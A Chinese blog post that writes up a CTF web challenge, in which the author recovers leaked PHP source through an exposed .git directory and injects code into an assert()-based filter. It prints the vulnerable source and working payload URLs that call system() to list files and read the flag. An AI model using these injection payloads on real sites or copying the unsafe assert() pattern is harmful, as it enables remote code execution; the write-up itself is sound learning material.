记一道CTF题babyphp之学习代码注入

0x00写在前面的话


最近打算刷刷CTF题目,提升一下自身的见识面,这里碰到了一个代码注入的题目特作记录,大牛勿喷。。。


0x01做题的整体思路



做题的地址,http://web.jarvisoj.com:32798/
打开地址,随机点击发现都是展示对应的界面,做过开发的我,直觉告诉我应该是传入一个字符串展示对应页面,这样我随机点了一下,发现about里面有GIT,猜测应该是GIT信息泄露,果断访问一下http://web.jarvisoj.com:32798/.git发现这的是这样的,当然用githacker工具下载源码,下载源码后发现了关键代码如下:


if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

这里发现对输入page进行了过滤,这里巧妙的利用了代码注入,。。。。可以实现我们需要执行的代码,payload如下:
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' ,发现有这些页面:
about.phpcontact.phpflag.phphome.phpabout.phpcontact.phpflag.phphome.phpThat file doesn't exist!

当时我想的是能否直接用这样的payload实现查看源代码呢?http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").' 发现不能执行,这激发了我对system()函数的进一步学习,这里不表,

接着请教大神发给我如下payload:http://web.jarvisoj.com:32798/?page=','..')===False and system('cat templates/flag.php');//
大体可以理解什么意思,但没有很深的明白为什么这个可以我自己前面构造不行,

记一道CTF题babyphp之学习代码注入_第1张图片



你可能感兴趣的:(CTF以及信息安全)